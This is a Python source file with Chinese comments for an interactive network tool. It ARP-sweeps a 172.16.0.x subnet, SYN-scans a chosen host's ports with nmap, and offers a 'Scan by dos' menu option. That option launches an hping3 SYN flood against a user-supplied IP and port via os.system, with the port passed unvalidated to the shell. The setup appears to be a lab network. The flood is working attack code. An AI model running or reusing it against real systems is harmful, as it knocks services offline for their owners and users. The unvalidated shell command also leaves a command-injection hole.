#encoding:utf-8
import nmap
import os
import json
import time
from scapy.all import *
import sys
import time
import threading
import optparse
#增加多线程 为了线程同步 加了3个全局变量
liveHost_list = [] #存活主机
live_count = 0; #存活主机数量
liveHostPrint_list = [] #打印的时候用

#nm=nmap.PortScanner()
'''
nm.scan('10.0.2.1-3')
a=nm.all_hosts()
print(a)
nm.scan('10.0.2.4-10')
b=nm.all_hosts()
print(b)

ip1=input('ip=')
nm.scan(hosts=ip1,arguments='-script dos')
c=nm.command_line()
print(c)
'''


# 基于ARP扫描网段
def arp_scan(ip):
    global liveHostPrint_list
    global live_count ;
    global liveHost_list
    #构造arp数据包
    time.sleep(0.002)
    arpPkt = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip,hwdst="ff:ff:ff:ff:ff:ff");
    resPkt = srp1(arpPkt,iface='enp0s31f6',timeout=4,verbose=False);
    if resPkt:
        liveHost_list.append(resPkt.psrc); #存储到傻吊list中
        print_tmp = "IP:"+resPkt.psrc+" MAC:"+resPkt.hwsrc
        liveHostPrint_list.append(print_tmp);
        live_count +=1;


def scanAll(l,r):
    global liveHost_list;
    global live_count;
    global liveHostPrint_list;
    target_ips = '172.16.0'
    print('开始扫描...')
    '''
    for i in range (1,4):
        for ip in range(1,100):
            if ip != 4 and ip !=5:
                ip_str = target_ips+"."+str(ip);
                #arp_scan(ip_str)
                scan_thread = threading.Thread(target=arp_scan,args=(ip_str,));
                scan_thread.start();
    '''
    for ip in range(1,100):
        if ip != 4 and ip !=5:
            ip_str = target_ips+"."+str(ip);
            #arp_scan(ip_str)
            scan_thread = threading.Thread(target=arp_scan,args=(ip_str,));
            scan_thread.start();
    time.sleep(5)
    #创建文件夹
    #如果文件夹不存在
    #扫描完成打印结果 然后存储文件
    liveHost_list = list(set(liveHost_list))
    for ip in liveHost_list:
        if ip in l:
           changeIP(ip,r)
        elif ip != '172.16.0.6' and ip != '172.16.0.5':
           print(ip) 
    liveHost_list = []
    print('扫描完成!')

'''
# 基于ping扫描网段
def scanAll(l,r):
	ip=input('请输入目标网段（如："172.16.0.1-24"）:')
	print('开始扫描...')
	nm.scan(hosts=ip, arguments='-sn -sP -disable-arp-ping')
	hosts=nm.all_hosts()
	print('在线的IP为：')
	for index in range(len(hosts)):
		if(hosts[index] in l):
			changeIP(hosts[index],r)
		else:
			print(hosts[index])
		#with open('ip.txt','a',encoding='utf-8') as f:
			#f.write(hosts[index]+'\n')
	print('扫描完成!')
'''
	
# 基于SYN半连接扫描指定主机的常用端口号
def scanOne():
	ip=input('请输入目标IP:')
	if(vaildIP(ip)):
		print('开始扫描...')
		nm=nmap.PortScanner()
		nm.scan(hosts=ip, ports='1-200, 5900-5910', arguments='-sS')
		host=nm.all_hosts()
		#print(b)
		if(len(host)>0):
			protocol=nm[ip].all_protocols()
			#print(b1)
		
			if(len(protocol)>0):
				for index in range(len(protocol)):
					print('使用的协议为：'+protocol[index])
					#b2=nm[ip]['tcp']
					ports=nm[ip]['tcp'].keys()
					#print('开放端口: ')
					for member in ports:
						print('开放端口: '+str(member))
		else:
			print('Host is down.')
		print('扫描完成!')
	else:
		print('Invaild IP!')
	

#def scanPing():
#	ip=input('请输入目标IP:')
#	if(vaildIP(ip)):
#		print('开始扫描...')
		#nm.scan(hosts=ip,arguments='-sP -disable-arp-ping')
		#print(nm.command_line())
#		command='nmap -sP '+ip + ' -disable-arp-ping'
#		os.system(command)
#		print('扫描完成!')
#	else:
#		print('Invaild IP!')
	#c=nm.scaninfo()
	#print(c)

# 基于SYN半连接对指定主机的指定端口号发起SYN Flood攻击
# hping3 -S -V -d 120 -w 64 --faster -p 80 172.16.0.2
# 攻击持续1min，发包速度：100pps
def scanDos():
	ip=input('请输入目标IP:')
	port=input('请输入目标端口:')
	if(vaildIP(ip)):
		print('开始攻击...')
		#command='hping3 -S -V -c 10000 -d 120 -w 64 --faster -p ' + port + ' ' + ip
		command='hping3 -S -V -d 120 -w 64 --faster -p ' + port + ' ' + ip
		os.system(command)
		'''
		time_start = time.time()
		while(True):
			command='hping3 -S -c 10000 -V -d 120 -w 64 --faster -p ' + port + ' ' + ip
			os.system(command)
			if time.time() - time_start > 60:
				break
		'''
		print('攻击结束!')
	else:
		print('Invaild IP!')

def changeIP():
	ip=input('ip=')
	ls=ip.split('.')
	ls[-1]=str(int(ls[-1])+10)
	print('.'.join(ls))

def changeIP(ip,r):
	print(r[ip])

def vaildIP(ip):
	flag=True
	ls=ip.split('.')
	if(len(ls)!=4):
		flag=False
	for index in range(len(ls)):
		if(ls[index].isdigit()==False or int(ls[index])<0 or int(ls[index])>255):
			flag=False
	return flag


def main():
	print('0:Exit')
	print('1:Scan all network')
	print('2:Scan one ip')
	print('3:Scan by dos')
	#print('5:Judge IP')

	list_ip = []
	list_vip = []
	rules = {}

	while True:
		with open('report_network_after.json','r',encoding='utf-8')as f:
			data = json.load(f)
			for index in data['layer_info']:
				list_ip.append(index['ip'])
				list_vip.append(index['vip'])
				rules[index['ip']] = index['vip']
			#print(rules)
			#print(list_ip)

		choice=int(input('Please choose:'))
		if(choice==1):
			scanAll(list_ip,rules)
			#print(list_ip)
			
		elif(choice==2):
			scanOne()
			
#		elif(choice==3):
#			scanPing()
			
		elif(choice==3):
			scanDos()
		
		elif(choice==0):
			break
		
		else:
			print('Invalid iuput!')

if __name__ == '__main__':
	main()

